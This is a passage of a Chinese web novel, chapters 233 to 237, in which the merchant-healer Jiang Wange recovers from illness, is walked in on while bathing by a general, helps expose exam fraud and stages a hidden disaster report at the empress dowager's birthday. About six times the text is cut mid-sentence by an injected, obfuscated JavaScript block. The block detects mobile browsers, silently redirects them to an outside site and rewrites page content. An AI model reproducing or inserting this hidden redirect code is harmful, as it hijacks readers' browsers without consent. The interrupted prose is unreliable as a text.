陛下,这可是关系到国计民生的大事!姜绾歌越说越兴奋,您看这个成本核算,这个利润分析...... 她从床头又掏出一叠厚厚的文件,显然早就准备好了。 够了!顾铭轩哭笑不得,一把夺过她手中的文件,你这是在床上开朝会吗? 陛下,您别小看这些计划,姜绾歌依然不肯放弃,这可是我这几天精心准备的,每一个数字都经过仔细计算...... 我说够了!顾铭轩的声音提高了几分,你现在应该好好养病,而不是在这里跟朕谈生意! 可是......姜绾歌还想说什么。 没有可是!顾铭轩站起身,居高临下地看着她,绾绾,你现在立刻给朕躺好了,好好休息!否则朕就把你绑回宫里,天天盯着你养病! 姜绾歌看着他严肃的表情,知道他是认真的。但她心中还是不死心:陛下,这个计划真的很重要...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190640|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要也得等你病好了再说!顾铭轩一把将她按回床上,现在,立刻,马上,给朕睡觉! 我不困......姜绾歌还在挣扎。 不困也得睡!顾铭轩拿起床头的被子,直接盖在她身上,朕在这里守着你,看你还怎么折腾! 说着,他在床边的椅子上坐下,摆出一副要长期驻扎的架势。 姜绾歌看着他认真的样子,心中涌起一阵暖流。这个皇帝,为了她的身体,竟然放下朝政跑到这里来守着她。 陛下,您不用在这里守着,她轻声说道,我会好好休息的。 不行,顾铭轩摇头,朕不信你。你这个人,嘴上说休息,转眼就又开始工作了。 我......姜绾歌想要反驳,但看着顾铭轩坚定的眼神,最终还是乖乖地闭上了眼睛。 这才对,顾铭轩满意地点点头,好好睡觉,有朕在这里,不会有人打扰你的。 姜绾歌闭着眼睛,心中却在思考着刚才的计划。 虽然顾铭轩现在不让她谈生意,但她相信,等她病好了,他一定会认真考虑她的建议的。 扩大药田的计划,势在必行,她在心中暗暗发誓,不管遇到什么困难,我都要把这件事做成! 房间里安静下来,只有顾铭轩均匀的呼吸声。姜绾歌偷偷睁开眼睛,看到他正专注地看着她,眼中满是关切。 陛下......她轻声开口。 嗯?顾铭轩立刻凑近。 谢谢您,她真诚地说道,谢谢您这么关心我。 顾铭轩愣了一下,然后伸手轻抚她的额头:傻丫头,朕关心你是应该的。你是朕的......朕的重要的人。 姜绾歌心头一跳,但很快就装作没听懂的样子:陛下,我真的会好好休息的。 那就好,顾铭轩点点头,睡吧,朕在这里陪着你。 这一次,姜绾歌真的闭上了眼睛。 虽然心中还想着各种生意计划,但在顾铭轩的陪伴下,她竟然真的感到了一丝困意。 第233章 登徒子 也许,偶尔放下那些计划和算计,享受一下被人关心的感觉,也不是什么坏事。 三日后,姜绾歌的病情明显好转,终于从城郊别院回到了杏林堂。虽然顾铭轩一再叮嘱她要好好休息,但她哪里坐得住?一回来就立刻投入到了各种事务中。 东家,您真的没事了吗?阿福担心地问道,陛下说了,要您多休息几天的。 休息个屁!姜绾歌没好气地说,老娘闲不住!账目都积压成山了,琉璃工坊那边又催货,醉仙楼的新菜谱也要定下来,哪有时间休息? 她穿着一件淡紫色的褙子,头发随意地挽着,正在后院的密室里整理各种文件。桌案上堆满了账册、图纸、还有各种药材样品,看起来忙碌得很。 对了,她忽然想起什么,让人准备热水,我要沐浴。这几天都没好好洗过澡,身上都有味儿了。 是,东家!阿福连忙去安排。 不一会儿,热气腾腾的洗澡水就准备好了。姜绾歌脱下外衣,只穿着贴身的亵衣,正准备宽衣沐浴,忽然听到院子里传来急促的马蹄声。 得得得—— 马蹄声由远及近,然后在院门口停了下来。紧接着是重重的脚步声,听起来很急。 谁啊?这么急火火的?姜绾歌皱眉,但也没太在意,继续脱衣服。 就在她刚脱下褙子,只剩一件薄薄的亵衣时,房门忽然被人一脚踹开了! 姜绾歌!大捷!北境大捷!厉战霆兴奋地冲进来,手里还挥舞着一份军报,胡人主力被全歼,左贤王被活捉了! 话说到一半,他忽然愣住了。 眼前的景象让这个身经百战的将军瞬间石化——姜绾歌半裸着身子站在浴桶旁边,只穿着一件薄如蝉翼的亵衣,雪白的肩膀和手臂暴露在空气中,湿润的水汽在烛光下给她的肌肤镀上一层朦胧的光晕。 你......厉战霆的脸瞬间红得像煮熟的螃蟹,我......我不是故意的...... 姜绾歌先是愣了一下,然后反应过来,脸色瞬间变得铁青。她一把抓起旁边的浴袍胡乱披在身上,然后从发髻上拔出一根金簪,恶狠狠地指着厉战霆: 厉战霆!你个登徒子!她气得浑身发抖,老娘在沐浴,你闯进来干什么?! 我......我真的不知道你在......厉战霆慌得手足无措,连军报都掉在了地上,我就是想告诉你北境大捷的消息...... 大捷个屁!姜绾歌举着金簪,眼中冒火,将军是想试试我的金针渡穴?保证让你永远当不成男人! 说着,她手中的金簪在烛光下闪着寒光,看起来真的随时准备动手。 别!别!厉战霆吓得连连后退,我这就出去!这就出去! 他慌慌张张地转身就往门外跑,但刚跑到门口,又停了下来。 那个......他背对着姜绾歌,声音小得像蚊子,你......你没受伤吧?我是说,那次失火...... 滚!姜绾歌一只绣花鞋飞了过去,正好砸在他后脑勺上,再不滚老娘真的下针了! 厉战霆抱着脑袋逃了出去,房门砰地一声关上了。 姜绾歌气得在房间里来回走动,胸脯剧烈起伏。这个粗人,连最基本的礼数都不懂吗? 妈的!老娘的清白啊!她咬牙切齿,被这个木头疙瘩看光了! 虽然愤怒,但她心中也有一丝奇怪的情绪。刚才厉战霆看她的眼神,虽然充满了震惊,但没有丝毫的轻浮和邪念,反而带着一种近乎虔诚的敬畏。 算了,看在他不是故意的份上,这次就饶了他!她自言自语,然后继续沐浴。 外面,厉战霆靠在院墙上,心跳得像要从嗓子眼跳出来。 刚才那一瞬间的画面,如同烙印般深深地印在他脑海里——姜绾歌雪白的肌肤,纤细的腰肢,还有那种愤怒中带着娇憨的神情...... 我这是怎么了?他用手拍着自己的脸,试图让自己清醒一点,她都要用针扎我了,我怎么还...... 他忽然想起刚才匆忙中丢在房间里的军报,又想起自己此行的真正目的。 北境大捷固然重要,但更重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204634|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是,他还带了一样特殊的礼物给姜绾歌。 对了,礼物!他从怀里掏出一个精美的小盒子,这次总不能再出错了。 他小心翼翼地走到门口,轻轻敲门:绾歌,我......我有东西要给你。 什么东西?里面传来姜绾歌的声音,听起来还带着怒气。 就是......厉战霆犹豫了一下,缴获的敌国王妃首饰,你......戴着应该好看。 说完,他将盒子从门缝里塞了进去,然后就站在门外等着。 房间里,姜绾歌看着地上的盒子,好奇心战胜了愤怒。她拿起盒子,发现做工很精美,上面还镶嵌着各种宝石。 王妃的首饰?她嘀咕着打开盒子,然后愣住了。 盒子里躺着一条项链,但这绝不是什么普通的珠宝首饰。这是一条用狼牙制成的项链,每一颗狼牙都有拇指大小,通体呈**白色,但尖端却泛着淡淡的血红色。项链中央还有一颗巨大的狼王牙,足有小拇指那么长,上面刻着复杂的胡人符文。 整条项链看起来狰狞而野性,充满了草原民族的彪悍气息,和精美的珠宝首饰完全不是一个概念。 这叫首饰?姜绾歌哭笑不得,这明明就是战利品! 但奇怪的是,她并没有讨厌这条项链。相反,她觉得这东西很有特色,而且看起来很结实,确实比那些华而不实的金银首饰实用多了。 算了,戴上试试吧。她将项链套在脖子上,走到铜镜前照了照。 铜镜中的她,穿着淡紫色的褙子,脖子上戴着狰狞的狼牙项链,形成了一种奇特的反差。但说来也怪,这条项链戴在她身上,竟然没有想象中的突兀,反而有一种野性的美感。 嗯,比金子实用。她满意地点点头,然后对门外说道,厉战霆,谢了! 门外的厉战霆听到她的话,脸上露出了憨厚的笑容:你喜欢就好!那个......我能进来了吗?我要跟你说北境的情况。 进来吧,姜绾歌整理了一下衣服,不过下次再敢不敲门就闯进来,老娘真的会扎你! 第234章 科举 厉战霆小心翼翼地推门进来,看到姜绾歌脖子上戴着那条狼牙项链,眼中闪过一丝满意。 这条项链确实适合你,他老实地说,你戴着比那个胡人王妃好看多了。 少贫嘴!姜绾歌没好气地说,快说正事,北境到底什么情况? 厉战霆收起笑容,开始详细汇报战况。就在他们谈话的时候,门外传来轻微的脚步声。 咦,这么热闹?顾云霁推门而入,一眼就看到了姜绾歌脖子上的狼牙项链。 他先是愣了一下,然后忍不住笑出声来:噗——姜老板,这是什么新潮流?野人风格? 你笑什么?姜绾歌不满地瞪他。 没什么,没什么,顾云霁摇着折扇,笑得前仰后合,就是觉得姜老板这审美,果然与众不同。一般的女子都喜欢珍珠玛瑙,您却偏爱狼牙虎骨,真是......别具一格啊! 老娘喜欢实用的东西!姜绾歌摸了摸脖子上的项链,这玩意儿能防身,关键时候还能当武器用,比那些破金银首饰强多了! 防身?顾云霁更加好奇了,怎么防身? 你看这狼牙,姜绾歌拆下一颗狼牙,尖端锋利,关键时候能割断绳子,还能当暗器扔人。而且狼牙有毒,胡人都怕这个。 有道理!厉战霆在旁边使劲点头,我就说绾歌有眼光! 顾云霁看着这两个人一本正经地讨论狼牙项链的实用性,忍不住又笑了:行行行,您二位说得都对。不过姜老板,您这造型搭配确实......很有杀伤力。 那是当然!姜绾歌得意地抬起下巴,老娘从来不走寻常路! 看着她骄傲的样子,两个男人都忍不住笑了。 初冬的京城,雪花纷飞,但杏林堂内却温暖如春。姜绾歌坐在听雨轩里,手中拿着一本厚厚的账册,正在仔细核对着各项收支。 火盆里木炭燃烧得正旺,发出轻微的噼啪声。她穿着一件厚实的紫色棉袄,头发随意地挽在脑后,脸上带着专注的神情。 东家,陈先生来了。阿福在门外轻声禀报。 让他进来。姜绾歌头也不抬,继续看着账册。 陈墨推门而入,脸上带着一丝焦虑的神色。他穿着一身青色儒衫,头上戴着方巾,看起来依然是个书生模样,但眉宇间却多了几分官场的沉稳。 东家。他恭敬地行礼。 坐吧。姜绾歌放下账册,打量着他,在吏部观政怎么样?那帮老学究没为难你吧? 托东家的福,一切都还顺利。陈墨坐下后,犹豫了一下,只是……有件事情,学生不知道该不该说。 什么事?姜绾歌眯起眼睛,你这表情,看起来像是发现了什么不得了的事情。 陈墨左右看了看,确认没有外人后,才压低声音说道:东家,学生在整理文书时,发现了一个奇怪的现象。 什么现象? 今年的春闱试卷,有些不对劲。陈墨的声音更低了,学生发现,有几份试卷的笔迹明显不同,像是被人替换过的。 姜绾歌心头一跳,但面上依然平静:你确定? 学生敢以性命担保!陈墨咬牙切齿,那几份试卷,前半部分的字迹明显和后半部分不同,而且纸张的新旧程度也不一样。最关键的是,那几份试卷上的考生,都是今年的新科进士! 妈的!姜绾歌忍不住骂了一声,科举舞弊?这帮王八蛋胆子真不小! 她在房间里来回踱步,脑中快速分析着这件事的严重性。科举是朝廷选拔人才的重要渠道,如果出现舞弊,那就是动摇国本的大事。 东家,这件事我们要不要……陈墨小心翼翼地问道。 要!当然要!姜绾歌眼中闪过一丝冷光,这种事情,老娘绝对不能坐视不管! 她忽然停下脚步,看向陈墨:那些试卷现在在哪里? 在吏部的档案库里,不过戒备森严,一般人进不去。陈墨回答道。 你能弄到证据吗?姜绾歌问道。 学生可以试试,但是……陈墨有些犹豫,如果被发现,学生这个观政的身份就保不住了。 保不住就保不住!姜绾歌一拍桌子,这种关系到国家根本的事情,比什么都重要! 她想了想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204635|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又补充道:不过,你不用直接去偷。我有更好的办法。 什么办法?陈墨好奇地问。 你把那几份试卷的详细信息整理出来,写成一份报告。姜绾歌吩咐道,然后找个机会,把这份报告"无意"中掉在合适的人面前。” 合适的人?陈墨不太理解。 顾云霁。姜绾歌说出这个名字,他最喜欢这种能让他在朝堂上大做文章的事情。 陈墨恍然大悟:东家是想借刀**? 不是借刀**,是为民除害!姜绾歌纠正道,这种蛀虫不除,朝廷迟早要完蛋。 学生明白了。陈墨点头,那学生这就去准备。 去吧,记住,一定要做得天衣无缝。姜绾歌叮嘱道。 陈墨告辞而去,姜绾歌独自坐在房间里,心中暗暗盘算着。科举舞弊这种事,牵扯面肯定很广,说不定背后有什么大人物在操作。但不管是谁,只要敢动摇国本,她就不会手软。 三天后,顾云霁悠然来到杏林堂。 姜老板,最近生意如何?他摇着折扇,一脸慵懒的笑容。 托王爷的福,还过得去。姜绾歌淡淡地回答,王爷今天怎么有空到小女子这里来? 没什么,就是想来看看你。顾云霁在椅子上坐下,对了,听说你新收了个读书人? 是有这么回事。姜绾歌点头,王爷消息倒是灵通。 那个陈墨,现在在吏部观政吧?顾云霁继续问道。 是的。姜绾歌心中一动,知道顾云霁这是在打探消息,怎么,王爷对他有什么指教? 指教不敢当,只是觉得这个人很有趣。顾云霁笑道,昨天在吏部,他不小心掉了一份文件,本王捡起来一看,发现了很有意思的内容。 什么内容?姜绾歌装作不知情的样子。 科举舞弊的证据。顾云霁的眼中闪过一丝寒光,很详细的证据。 是吗?姜绾歌挑眉,那王爷准备怎么办? 当然是要为朝廷清除蛀虫了。顾云霁的语气变得严肃起来,科举是国之根本,绝不能容忍这种事情发生。 第235章 科举舞弊案 那就劳烦王爷了。姜绾歌淡淡地说道。 应该的。顾云霁站起身,不过,姜老板,你这个手下很不错,很有前途。 谢王爷夸奖。姜绾歌客气地回应。 顾云霁走后,姜绾歌嘴角勾起一丝笑容。她知道,好戏即将开场了。 果然,第二天朝堂上就爆发了一场大风波。 顾云霁在早朝时,当着满朝文武的面,举报了科举舞弊案。 他拿出详细的证据,指出几份试卷明显被人替换过,涉及的考生都是今年的新科进士。 陛下,此事关系重大,请陛下明察!顾云霁跪在殿前,声音铿锵有力。 顾铭轩接过证据仔细查看,龙颜大怒:岂有此理!科举乃国之根本,竟有人敢在此事上做手脚! 陛下,臣请求彻查此事!顾云霁继续奏道。 准了!顾铭轩一拍龙案,朕命你全权处理此事,务必要查个水落石出! 朝堂上顿时一片哗然。那些涉及舞弊的官员个个脸色苍白,特别是主考官,更是吓得浑身发抖。 仅仅三天时间,整个舞弊案就被查了个底朝天。主考官及其同党全部落网,那些通过舞弊得到功名的假进士也被革除功名,发配边疆。 消息传到杏林堂时,姜绾歌正在配药。她听到消息后,只是淡淡地点了点头,继续手头的工作。 当天下午,陈墨匆匆来到杏林堂。 东家!他一进门就激动地说道,大获全胜!那个主考官已经被革职查办了! 嗯,我知道了。姜绾歌头也不抬,坐吧,有话慢慢说。 东家,这次多亏了您的指点,学生才能为朝廷除害。陈墨感激地说道,学生真不知道该怎么感谢您。 谢个屁!姜绾歌放下手中的药材,这是你应该做的。身为读书人,就应该有这种气节。 她从书架上取下一本厚厚的册子,递给陈墨:拿着,这是我写的《商税改良策》。 这是……陈墨接过册子,疑惑地看着她。 你现在在吏部观政,将来肯定要做官。姜绾歌说道,在其位,谋其政。这本书你拿回去好好研究,对你将来有用。 陈墨翻开册子,看到里面密密麻麻的字迹和各种图表,顿时震惊了。这本书详细分析了当前朝廷税收制度的各种弊端,并提出了许多改革建议。 东家,这些内容……他声音有些发颤,简直是……简直是经世之学! 别夸了,实用就行。姜绾歌摆摆手,对了,下次你在吏部时,帮我查查盐引的漏洞。我怀疑那里面也有问题。 盐引?陈墨一愣,东家怀疑盐引有问题? 不是怀疑,是肯定有问题!姜绾歌冷笑,盐引这么肥的差事,会没有蛀虫?做梦去吧! 学生明白了,一定仔细查探。陈墨郑重地点头。 正在这时,门外传来沉重的脚步声。厉战霆推门而入,脸上带着几分不悦的神色。 绾歌,你在干什么?他皱着眉头问道。 没干什么,就是和陈墨聊天。姜绾歌淡淡地回答。 聊什么?厉战霆看了看桌上的书册,这些是什么? 商税改良策。姜绾歌如实回答。 什么?厉战霆的声音提高了几分,绾歌,你一个女子,怎么能研究这些朝政大事? 怎么不能?姜绾歌反问,我又不是要去当官,只是写点心得而已。 女子就应该相夫教子,不该干涉朝政!厉战霆的语气变得严厉起来,这些事情,应该由我们男人来做。 你们男人做?姜绾歌冷笑,那科举舞弊案怎么解释?要不是有人举报,那些蛀虫还不知道要害多少人呢! 那也不是女子应该管的事!厉战霆固执地说道,绾歌,你这样下去,会招来非议的。 非议?姜绾歌站起身,从药柜里取出一个药包,直接扔到厉战霆面前,将军的关节炎,该换药了! 我的关节炎?厉战霆愣了一下,我什么时候得了关节炎? 你没得关节炎,脑子怎么这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204636|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么僵硬?姜绾歌没好气地说道,老娘做什么,轮不到你来指手画脚! 厉战霆被噎得说不出话来,只能尴尬地拿着药包站在那里。 陈墨在一旁看着这一幕,心中对姜绾歌更加敬佩。这个女子不仅有超人的智慧,还有不屈的气节,实在是令人佩服。 东家,学生告退了。他识趣地起身告辞。 去吧,记住我说的话。姜绾歌点点头。 陈墨走后,房间里只剩下姜绾歌和厉战霆两人。 绾歌,我不是想管你,只是担心你。厉战霆的语气软了下来,这个世道,女子抛头露面做这些事情,容易招来麻烦。 麻烦?姜绾歌转身看着他,厉战霆,你知道吗?这个世道之所以有这么多麻烦,就是因为有些人只会说"不该",却不会想"应该"。 什么意思?厉战霆不太理解。 意思就是,有些事情,总得有人去做。姜绾歌认真地说道,不管是男人还是女人,只要有能力,就应该去做该做的事。 厉战霆沉默了片刻,最终还是点了点头:也许你说得对。 当然对!姜绾歌得意地笑了,所以,你的关节炎还是要治的。 我真的没有关节炎!厉战霆哭笑不得。 没有也要预防!姜绾歌坚持道,这叫未雨绸缪! 两人的对话在笑声中结束,但姜绾歌心中却在思考着更深远的问题。她知道,要想在这个时代立足,仅仅有商业头脑是不够的,还必须在**上有所布局。 陈墨就是她在官场上的第一枚棋子,但绝不会是最后一枚。 初冬的皇宫内,张灯结彩,一片喜庆景象。今日是太后六十五岁寿辰,满朝文武、后宫嫔妃、王公贵族齐聚慈宁宫,为这位垂帘听政多年的老妇人庆生。 姜绾歌穿着一身淡青色的襦裙,头上简单地插着几支银钗,手中捧着一个巨大的锦盒,在太监的引领下步入大殿。她刻意打扮得低调朴素,但那股子精明干练的气质却怎么也掩饰不住。 第236章 太后寿宴 民女姜绾歌,恭祝太后娘娘福如东海,寿比南山!她跪在殿前,声音清脆响亮。 慈宁宫内金碧辉煌,宫女太监们来来往往,各种珍奇异宝摆满了整个大殿。但姜绾歌的目光却很平静,仿佛这些奢华对她来说都是浮云。 起来吧。太后坐在凤椅上,满头银发梳得一丝不苟,身着明黄色的凤袍,虽然年纪不小,但精神矍铄,一双眼睛依然锐利得很,又是什么新奇的东西? 回太后娘娘,民女此次带来的,是用琉璃碎片拼制的屏风。姜绾歌起身,示意太监们将锦盒打开。 当锦盒打开的瞬间,整个大殿都安静下来。 只见里面是一座高约三尺的琉璃屏风,屏风上用无数细小的琉璃碎片拼成了一幅精美绝伦的图案——瑶池祝寿图。画面中,王母娘娘端坐在瑶池之上,周围云雾缭绕,仙鹤飞舞,寿桃累累,整个画面在烛光的照射下闪闪发光,美轮美奂。 好!太后忍不住赞叹,这手工,这创意,真是巧夺天工! 太后娘娘喜欢就好。姜绾歌心中暗暗得意,面上却依然谦逊,这屏风民女制作了整整三个月,每一片琉璃都是精挑细选的。 她话虽这么说,但心里却在盘算着别的事情。这屏风看起来只是一件精美的工艺品,但实际上却暗藏机关。在屏风的夹层里,她藏着一份从各地收集来的灾情密报,详细记录了今年各地的水灾、旱灾、蝗灾等情况。 绾绾,这屏风确实不错。顾铭轩走上前来,仔细端详着屏风,你这手艺,越来越精湛了。 陛下过奖了。姜绾歌垂首回应,心中却在观察着周围人的反应。 顾云霁站在不远处,手中摇着折扇,表面上看起来慵懒随意,但那双凤眼却在仔细观察着屏风的每一个细节。他的目光在屏风底部停留了片刻,嘴角勾起一丝几不可察的笑意。 姜老板这手艺,确实让人叹为观止。顾云霁慢慢走上前来,不过,这屏风的结构倒是很有意思。 姜绾歌心头一跳,但面上依然平静:王爷慧眼如炬,确实,这屏风采用了双层结构,更加坚固耐用。 是吗?顾云霁的眼中闪过一丝深意,双层结构,确实巧妙。 就在这时,顾铭轩忽然皱了皱眉头,他似乎发现了什么。仔细观察屏风底部,他注意到有一个不起眼的小机关。 这是什么?他伸手轻轻一按,屏风底部的夹层居然弹了开来,露出了里面藏着的一叠文书。 姜绾歌装作吃惊的样子:咦,这是怎么回事? 顾铭轩拿起文书一看,脸色瞬间变得严肃起来。这些文书详细记录了各地的灾情,包括受灾人数、损失情况、急需救济的物资等等,每一条信息都详实可靠。 这些是……他快速翻阅着文书,越看越震惊,河北水灾,死伤千余人?山西旱灾,颗粒无收? 陛下,这……姜绾歌故作慌张,民女也不知道这些东西怎么会在屏风里。 不管怎么会在里面,这些情报都是真的!顾铭轩站起身,声音带着怒意,朕竟然不知道各地有如此严重的灾情! 他转身对着满朝文武大声道:户部尚书何在? 臣在!户部尚书战战兢兢地出列。 立刻拨银二十万两,火速赈灾!顾铭轩一字一句地说道,若有延误,军法处置! 是!陛下!户部尚书连忙应道。 工部尚书!顾铭轩继续下令,立刻组织人手,修缮河堤,疏通水道! 遵旨! 整个大殿内,群臣都被这突如其来的变故搞得措手不及。原本欢乐的寿宴气氛瞬间变得凝重起来。 姜绾歌在心中暗暗得意。她早就知道朝廷对于地方灾情的了解并不及时,很多消息都被层层官员给压了下来。她故意将这些情报藏在屏风里,就是要让皇帝当众看到,这样既能帮助灾民,又能让皇帝对她刮目相看。 绾绾,顾铭轩走到她面前,声音温和了许多,这些情报,你是从哪里得到的? 回陛下,民女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204637|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药材生意遍及各地,这些消息都是商人们提供的。姜绾歌如实回答,民女见情况紧急,不知道该如何上报,只好用这种方式。 你做得很好。顾铭轩点头,眼中带着赞赏,朕会记住你的功劳。 就在这时,顾云霁悄悄走到姜绾歌身边,在她耳边小声说道:这屏风要是碎了,里面的东西可就…… 话没说完,姜绾歌就狠狠地踩了他一脚。 嘶——顾云霁倒吸一口凉气,但依然保持着温和的笑容。 王爷不如想想,怎么把西市的地契弄到手。姜绾歌压低声音,话中带刺,别老想着这些有的没的。 西市的地契?顾云霁挑眉,姜老板对那块地有兴趣? 那是当然,那块地位置绝佳,正适合开个新的药铺。姜绾歌理所当然地说道,但那个地主要价太高,老娘咬咬牙还是买不起。 这好办。顾云霁轻笑,本王有办法让他降价。 什么办法?姜绾歌好奇地问。 到时候你就知道了。顾云霁神秘地说道。 就在两人低声交谈的时候,殿外忽然传来一阵喧哗声。 报——!镇国将军献寿礼! 话音刚落,厉战霆就大步走了进来。他穿着一身黑色的战甲,脸上带着兴奋的神色,身后跟着几个士兵,正抬着一个巨大的铁笼。 臣厉战霆,恭祝太后娘娘寿比南山!他跪在殿前,声音洪亮。 起来吧。太后笑着说道,又带来什么好东西? 回太后娘娘,臣这次带来的,是从北境捕获的一头白额虎!厉战霆起身,示意士兵们将铁笼上的黑布掀开。 吼——! 一声震天的虎啸声响彻整个大殿,吓得不少宫女都惊叫出声。 只见铁笼里关着一头巨大的白额虎,这头虎通体黄色,额头上有一块白色的斑纹,体型健壮,四肢粗壮,一双虎眼闪闪发光,充满了野性。 好!好!太后连声赞叹,这头虎真是威猛! 第237章 吃醋闹笑话 这头虎是臣在北境巡视时亲手捕获的。厉战霆得意地说道,虎乃百兽之王,正配得上太后娘娘的尊贵身份。 有心了。太后满意地点头。 姜绾歌看着那头白额虎,眼中闪过一丝兴奋的光芒。这头虎确实威猛,但她想到的却不是什么吉祥寓意,而是实用价值。 厉将军,这头虎……她走上前去,能不能让我看看? 当然可以。厉战霆点头,不过你要小心,这头虎很凶猛。 姜绾歌围着铁笼转了一圈,仔细观察着这头虎的体型和神态。 不错,很健壮。她满意地点头,厉将军,这头虎你打算怎么处理? 这个……厉战霆有些犹豫,臣本来想献给太后娘娘,但宫里恐怕不适合养这种猛兽。 那正好!姜绾歌眼睛一亮,我醉仙楼正缺个镇店的吉祥物,这头虎正合适! 吉祥物?厉战霆愣了一下,绾歌,这可是猛虎啊,不是小猫小狗。 正因为是猛虎,才有震慑力!姜绾歌理所当然地说道,想想看,客人们在醉仙楼里吃饭喝酒,旁边还有一头真正的老虎,多有意思! 这……厉战霆还是有些担心,万一伤到客人怎么办? 不会的,老娘有办法驯服它。姜绾歌拍着胸脯保证,再说了,关在笼子里,能有什么危险? 好吧。厉战霆最终还是点头同意了,既然你喜欢,就送给你吧。 多谢!姜绾歌高兴地说道,这礼物我收下了! 太后看着这一幕,忍不住笑了:你们这些年轻人啊,真是有意思。 太后娘娘,民女斗胆请求,能否让人将这头虎送到醉仙楼?姜绾歌请求道。 可以。太后点头,不过要小心,别伤到无辜的人。 民女保证!姜绾歌连忙保证。 这时,顾铭轩走了过来,看着姜绾歌和那头老虎,心中不知道在想什么。 绾绾,你真的要把这头虎带回醉仙楼?他问道。 当然!姜绾歌点头,这么好的镇店之宝,老娘怎么可能不要? 那你要小心。顾铭轩叮嘱道,这种猛兽,不是好驯服的。 陛下放心,老娘心里有数。姜绾歌自信地说道。 她心中已经在盘算着,这头老虎除了能当镇店之宝,还有别的用处。虎骨可以入药,虎皮可以做护具,就算是虎粪都是好的肥料。这头活虎简直就是一座移动的宝库。 当然,这些想法她是不会说出来的。 好了,今日是太后寿辰,大家都开心点。顾铭轩拍拍手,继续庆祝吧。 大殿内重新恢复了热闹的气氛,但姜绾歌的心思却早已飞到了醉仙楼。她在想象着客人们看到老虎时的震惊表情,还有那些好奇的目光。 这绝对是京城最独特的酒楼! 姜老板,顾云霁又走了过来,你这想法倒是很特别。 那是当然!姜绾歌得意地说道,老娘的生意经,可不是一般人能学会的。 佩服,佩服。顾云霁笑着说道,不过,你确定那头虎不会吃掉客人? 放心,老娘会把它喂得饱饱的。姜绾歌信心十足地说道,再说了,有什么意外,老娘负责。 看着她自信满满的样子,顾云霁和厉战霆都忍不住笑了。这个女人,总是能做出一些让人意想不到的事情。 寿宴继续进行着,但姜绾歌的心思早已飞到了醉仙楼。她已经开始盘算着,要如何利用这头老虎来吸引更多的客人了。 寿宴散去后的第二天,姜绾歌正在杏林堂的后院里整理药材,忽然听到院门外传来马蹄声。她抬头一看,只见顾云霁骑着一匹枣红色的骏马缓缓走了进来。 那匹马通体枣红,四蹄雪白,鬃**在阳光下闪闪发光,一看就是难得的好马。马背上的顾云霁穿着一身月白色的锦袍,手中拿着马鞭,整个人显得风流倜傥。 姜老板,忙着呢?顾云霁翻身下马,将缰绳随手扔给身边的侍从。 王爷今天怎么骑马来了?姜绾歌放下手中的药材,有些好奇地问道,平时不都是坐轿子吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 